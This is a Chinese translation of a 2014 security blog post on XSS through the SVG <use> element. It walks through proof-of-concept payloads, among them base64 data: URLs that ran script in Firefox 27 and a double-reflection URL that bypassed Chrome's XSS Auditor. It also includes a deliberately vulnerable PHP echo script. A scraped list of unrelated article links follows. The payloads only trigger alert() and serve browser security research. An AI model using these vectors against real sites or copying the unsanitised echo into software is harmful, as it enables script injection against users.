[Translated From]：http://insert-script.blogspot.com/2014/02/svg-fun-time-firefox-svg-vector.html

======================

SVG - <use> element

======================


SVG中的<use>元素用于重用其他元素，主要用于联接<defs>和alike，而我们却用它来引用外部SVG文件中的元素
元素通过其id被引用，在<use>标签的xlink:href属性中以'#'井字符开头，外部元素的引用同样如此
基本结构如下所示：

test.html
<svg>

<use xlink:href='external.svg#rectangle' />

</svg>
external.svg:
<svg id="rectangle" xmlns="http://www.w3.org/2000/svg"

xmlns:xlink="http://www.w3.org/1999/xlink"

width="100" height="100">

<a xlink:href="javascript:alert(location)">

<rect x="0" y="0" width="100" height="100" />

</a>

</svg>
sxternal.svg文件以<svg>标签开始，其id设置为rectangle(矩形)，使用<rect>标签绘一个矩形。可以使用<a>环绕<rect>标签，这样会创建一个超链接。使用Javascript的url协议，可点击的超链接在点击后会执行Javascript。

虽然SVG是经由<use>标签加载的，Javascript将会得到执行。有一点需要注意，它只能加载SVG文件，必须满足同源策略

======================
FIREFOX

======================

由于加载的外部SVG文件必须是同源的，这个特性看起来似乎无法作为有用的XSS攻击向量，但Firefox会帮我们提升这个攻击向量
首先，你可以使用data:url协议，它允许我们百忙之中从内部创建一个文件。它要求正确的mime-type，在这里为image/svg+xml。mimie-type后是我们的攻击载荷或关键字base64。特别地，由于数据被base64编码，这有助于避免突破HTML结构的问题。
现在我们不必再依赖于服务器上的另一个文件了：
test.html:
<svg>

<use xlink:href="data:image/svg+xml;base64,

PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cDo

vL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW

5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rI

iAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+DQo8

YSB4bGluazpocmVmPSJqYXZhc2NyaXB0OmFsZXJ0KGx

vY2F0aW9uKSI+PHJlY3QgeD0iMCIgeT0iMCIgd2lkdG

g9IjEwMCIgaGVpZ2h0PSIxMDAiIC8+PC9hPg0KPC9zd

mc+#rectangle" />

</svg>

　解码后的base64载荷：

<svg id="rectangle"

xmlns="http://www.w3.org/2000/svg"

xmlns:xlink="http://www.w3.org/1999/xlink"

width="100" height="100">

<a xlink:href="javascript:alert(location)">

<rect x="0" y="0" width="100" height="100" />

</a>

</svg>
浏览器会显示出一个黑色的矩形，当点击时会弹出其location
但是为什么要烦扰受害者去点击呢，他们从来都不会去做该做的事:)
external.svg中的<script>标签不会被解析，但是SVG支持<foreignObject>元素

通过阐述这个对象需要的扩展属性，有可能加载非SVG元素
这就意味着现在有可能是有<iframe>、<embed>及其他所有支持的HTML元素了，我们可以从一堆元素中进行选择执行Javascript，这里使用<embed>+JavascriptURL协议
看如下SVG：
<svg id="rectangle"

xmlns="http://www.w3.org/2000/svg"

xmlns:xlink="http://www.w3.org/1999/xlink"

width="100" height="100">

<script>alert(1)</script>

<foreignObject width="100" height="50"

requiredExtensions="http://www.w3.org/1999/xhtml">

<embed xmlns="http://www.w3.org/1999/xhtml"

src="javascript:alert(location)" />

</foreignObject>

</svg>
它会通过<foreignObject>加载嵌入的标签，使用JavascriptURL协议执行Javascript
然后我们用base64对载荷进行编码，通过data:协议加载它
test.html
<svg>

<use xlink:href="data:image/svg+xml;base64,

PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cD

ovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhs

aW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW

5rIiAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+

PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg0KIDxmb3

JlaWduT2JqZWN0IHdpZHRoPSIxMDAiIGhlaWdodD0i

NTAiDQogICAgICAgICAgICAgICAgICAgcmVxdWlyZW

RFeHRlbnNpb25zPSJodHRwOi8vd3d3LnczLm9yZy8x

OTk5L3hodG1sIj4NCgk8ZW1iZWQgeG1sbnM9Imh0dH

A6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIHNyYz0i

amF2YXNjcmlwdDphbGVydChsb2NhdGlvbikiIC8+DQ

ogICAgPC9mb3JlaWduT2JqZWN0Pg0KPC9zdmc+#rectangle" />

</svg>
在这个案例中，test.html用Firefox27打开，会弹出location：


这样我们在SVG中就有了另一个能执行Javascript的向量了
另外，在攻击载荷中包含了一个<script>alert(1)</script>,这证明了<script>标签不会被解析
======================

CHROME 

XSS Auditor Bypass

======================
现在用这个特性来对付Chrome，Chrome不支持<use>标签xlink:href属性中的data:URL协议，另外目前还没有找到无需用户交互便执行Javascript的方法
不过至少在右用户交互的情况下，可以Bypass Blink/Webkit XSS Auditor
这里不需要用到参数污染，有一个参数就够了，Blink/Webkit XSS Audito无法捕获将参数拆分成两个或多个的XSS攻击
看一下这个php脚本(xss.php)：
<?php

echo "<body>";

echo $_GET['x'];

echo "</body>";

?>
这个脚本存在XSS漏洞，但是使用下面这样的载荷则会触发XSS Auditor：
http://site.com/xss.php?x=<svg><a xlink:href="javascript:alert(location)"><rect x="0" y="0" width="100" height="100" /></a></svg>

　因此，让我们使用<use>元素吧

======================

Creating the

SVG on the fly

======================

我们想加载另外的SVG文件，因此我们以<svg><use xlink:href= 开始
但是等一下，它必须满足同源，我们不能使用data伪协议，该怎么获取服务器上的文件呢?
很简单，我们在一行中两次利用XSS漏洞!首先，我们构建一个URL，制作一个包含了Javascript URL为伪协议的SVG
http://site.com/xss.php?

x=<svg id="rectangle"

xmlns="http://www.w3.org/2000/svg"

xmlns:xlink="http://www.w3.org/1999/xlink"

width="100" height="100">

<a xlink:href="javascript:alert(location)">

<rect class="blue" x="0" y="0" width="100" height="100" />

</a>

</svg>
如果你将整个URL粘贴到没有XSS Filter的浏览器，马上就会出现一个黑色的矩形。但是前面已经提到过，Chrome的XSS Auditor会捕获这种攻击，还是继续吧：
现在我们要在<use>元素中使用创建的SVG文件，制造一个形如这样的URL：
http://site.com/xss.php?

x=<svg><use height=200 width=200

xlink:href='http://vulnerabledomain.com/xss.php

?x=<svg id="rectangle"

xmlns="http://www.w3.org/2000/svg"

xmlns:xlink="http://www.w3.org/1999/xlink"

width="100" height="100">

<a xlink:href="javascript:alert(location)">

<rect class="blue" x="0" y="0" width="100" height="100"/>

</a></svg>#rectangle'/></svg>

不要忘了进行URL编码：

http://site.com/xss.php?

x=%3Csvg%3E%3Cuse%20height=200%20width=200%20

xlink:href=%27http://site.com/xss.php?

x=%3Csvg%20id%3D%22rectangle%22%20

xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20

xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20

%20%20%20width%3D%22100%22%20height%3D%22100%22%3E

%3Ca%20xlink%3Ahref%3D%22javascript%3Aalert%28location%29%22%3E

%3Crect%20class%3D%22blue%22%20x%3D%220%22%20

y%3D%220%22%20width%3D%22100%22

%20height%3D%22100%22%20%2F%3E

%3C%2Fa%3E

%3C%2Fsvg%3E%23rectangle%27/%3E%3C/svg%3E

这下应该会显示出矩形了，点击就会执行alert，但是这一次没有触发XSS Auditor :)



 
												


											
用SVG绕过浏览器XSS审计的更多相关文章
	

    
								
  1. 蝉知CMS5.6反射型XSS审计复现
		
    0x00 源起 最近在深入学习反射XSS时遇到蝉知CMS5.6反射型XSS这个案列,乍一看网上的漏洞介绍少之又少,也没有详细的审计复现流程.虽然是17年的漏洞了,不巧本人正是一个喜欢钻研的人.这个CM ...
    
		
    2. 
						
  2. 反射型xss绕过IE xss filter
		
    反射xss利用方法,绕过IE XSS Filter 假设 1.php页面代码如下: echo $_GET['str']; 使用IE浏览器访问该页面 1.php?str=<xss code> ...
    
		
    3. 
						
  3. dedecms功能性函数封装(XSS过滤、编码、浏览器XSS hack、字符操作函数)
		
    dedecms虽然有诸多漏洞,但不可否认确实是一个很不错的内容管理系统(cms),其他也不乏很多功能实用性的函数,以下就部分列举,持续更新,不作过多说明.使用时需部分修改,你懂的 1.XSS过滤. f ...
    
		
    4. 
						
  4. XSS----payload，绕过，xss小游戏记录
		
    一.XSS 1.原理:攻击者把恶意的脚本代码注入到网页中,等待其他用户浏览 这些网页(或触发其他条件),从而执行其中的恶意代码. 1.xss实例代码: test.html <!DOCTYPE h ...
    
		
    5. 
						
  5. 解决SVG跨浏览器兼容性问题
		
    Raphael JS:SVG/VML+JS实现跨浏览器的矢量图形实现方案 http://blog.csdn.net/tiewen/article/details/8535748 SVG那些小事儿 ht ...
    
		
    6. 
						
  6. 漏洞利用：验证绕过，XSS利用，Cookic盗用，文件上传
		
    1.      文件上传 低级别 写好上传的内容 选择好上传的文件 上传成功. 测试:访问文件,执行代码 中级别 修改文件后缀为png 上传该文件 抓包修改文件后缀为php,然后允许数据包通过. 上传 ...
    
		
    7. 
						
  7. 审计篇丨PHPcms9.6.3后台XSS审计
		
    引言 今天与大家分享的文章是关于审计思路的知识点,用到的是PHPcms的最新版本,因为常规扫描无法进入后台,所以我们修改了代码让扫描器爬虫爬到后台. 漏洞复现环境 安装PHPstudy 安装PHPcm ...
    
		
    8. 
						
  8. Thymeleaf模板引擎绕过浏览器缓存加载静态资源js,css文件
		
    浏览器会缓存相同文件名的css样式表或者javascript文件.这给我们调试带来了障碍,好多时候修改的代码不能在浏览器正确显示. 静态常见的加载代码如下: <link rel="st ...
    
		
    9. 
						
  9. 利用window.open如何绕过浏览器拦截机制
		
    在浏览器的安全机制里,非用户触发的window.open方法是会被拦截的,例如: var btn = $('#btn'); btn.click(function () { // 算做用户触发,所以不会 ...
    
		
    10. 
		

	


随机推荐
	

    
									
  1. Android如何避免切换至SurfaceView时闪屏（黑屏闪一下）以及黑屏移动问题
			
    1.最近的项目中,有一个Activity用到Fragment+ViewPager,其中一个fragment中实现了视频播放的功能,包含有SurfaceView.结果,每次打开程序第一次进入到该Acti ...
    
			
    2. 
						
  2. Sparse Filtering 学习笔记（二）好特征的刻画
			
      Sparse Filtering 是一个用于提取特征的无监督学习算法,与通常特征学习算法试图建模训练数据的分布的做法不同,Sparse Filtering 直接对训练数据的特征分布进行分析,在所谓 ...
    
			
    3. 
						
  3. storm坑之---同步问题
			
    最近在做一个监控系统,用来监控网站上各个业务功能的调用量以及处理时间,以便及时发现问题,及时处理.做这种实时统计处理系统,自然首先想到了storm,于是现学现用,自然遇到了一些坑,而且不少是网上也难以 ...
    
			
    4. 
						
  4. Windows Azure Web Site (11) 使用源代码管理器管理Azure Web Site
			
    <Windows Azure Platform 系列文章目录> 熟悉Azure Web Site平台的读者都知道,我们可以通过FTP等方式,把本地的Web Application部署到微软 ...
    
			
    5. 
						
  5. Windows Azure Virtual Machine (26) 使用高级存储(SSD)和DS系列VM
			
    <Windows Azure Platform 系列文章目录> Update: 2016-11-3,如果大家在使用Linux VM,使用FIO进行IOPS测试的时候,请使用以下命令: su ...
    
			
    6. 
						
  6. 主成分分析(PCA)的一种直观理解
			
    源自知乎的一个答案,网上很多关于PCA的文章,不过很多都只讲到了如何理解方差的投影,却很少有讲到为什么特征向量就是投影方向.本文从形象角度谈一谈,因为没有证明,所以不会严谨,但是应该能够帮助形象理解P ...
    
			
    7. 
						
  7. CSS魔法堂：深入理解line-height和vertical-align
			
    前言 一直听说line-height是指两行文本的基线间的距离,然后又说行高等于行距,最近还听说有个叫行间距的家伙,@张鑫旭还说line-height和vertical-align基情四射,贵圈真乱啊 ...
    
			
    8. 
						
  8. MVVM-Sidekick 之SendToEventRouterAction使用
			
    在WP开发中点击列表项跳转到详情页是一个很常用的功能,但是有可能项模板中还有其他的区域,比如点击标题跳转到详情页,点击"赞"图标送一个赞,点击"踩"图标踩一下, ...
    
			
    9. 
						
  9. 用C语言来分割字符串
			
    #include <stdio.h> int main() { ] = {}; ] = {}; ] = {}; sscanf("1,2,3#3,4#4,5"," ...
    
			
    10. 
						
  10. 本地电脑安装和配置Redis操作客户端
			
    下载需要的文件:http://pan.baidu.com/s/1gdfQePl 把这个下载下来解压就可以了,如图所示     第一步(配置本地服务) 点击run这个DOS执行命令 因为是自己的电脑测试 ...
    
			
    11.